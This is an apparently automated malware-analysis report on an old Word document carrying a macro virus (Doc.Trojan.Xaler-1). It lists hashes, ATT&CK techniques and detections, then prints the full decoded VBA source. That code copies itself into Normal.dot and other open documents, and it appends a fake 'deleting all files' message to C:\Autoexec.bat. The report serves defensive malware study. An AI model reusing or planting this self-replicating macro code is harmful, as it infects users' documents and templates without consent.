Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fc55dc8295e2f033…

MALICIOUS

Office (OLE)

61.5 KB Created: 2003-12-16 12:55:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-24
MD5: 604584ba35d4c82594f0c419edbf1e70 SHA-1: ae20e2c58b1fe26cbe30f0e3f0ed63e3a3edbfa0 SHA-256: fc55dc8295e2f0331a4c097113cd18417d0e5fe532430d4b9aa5e60e2d77a100
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1070.004 Indicator Removal: File Deletion

The sample contains VBA macros, including a Document_Open macro, and exhibits self-replication behavior, indicating a malicious intent to spread or persist. The `RELAX2` subroutine within the VBA code attempts to write commands to `C:\Autoexec.bat`, which could be used for malicious purposes such as deleting files or displaying messages. The `GOODSub` subroutine attempts to export and manipulate VBA project code, potentially for AV tampering or replication.

Heuristics 4

  • ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xaler-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2523 bytes
SHA-256: 53715c99af4ccd436b6c9d93e650c301f483e360926d4fd3e93559ae0d60f159
Detection
ClamAV: Doc.Trojan.Xaler-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Open "C:\Autoexec.bat" For Append As #1
Print #1, "Cls"
Print #1, "@ECHO OFF"
Print #1, "ECHO NOTE!!!"
Print #1, "ECHO ***"
Print #1, "ECHO *****"
Print #1, "ECHO *******"
Print #1, "ECHO *****"
Print #1, "ECHO ***"
Print #1, "ECHO Sometimes you must RELAX."
Print #1, "ECHO Please, RELAX while deleting all files in C:\"
Print #1, "ECHO *****"
Print #1, "ECHO *******"
Print #1, "ECHO *****"
Print #1, "ECHO GREECE"
Print #1, "ECHO =================================="
Print #1, "PAUSE"
Print #1, "CLS"
Print #1, "ECHO All files deleted!!!"
Print #1, "ECHO Now, you have a clean COMPUTER."
Print #1, "ECHO *******"
Print #1, "ECHO *******"
Print #1, "PAUSE"
Print #1, "@ECHO ON"
Close #1
End If
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub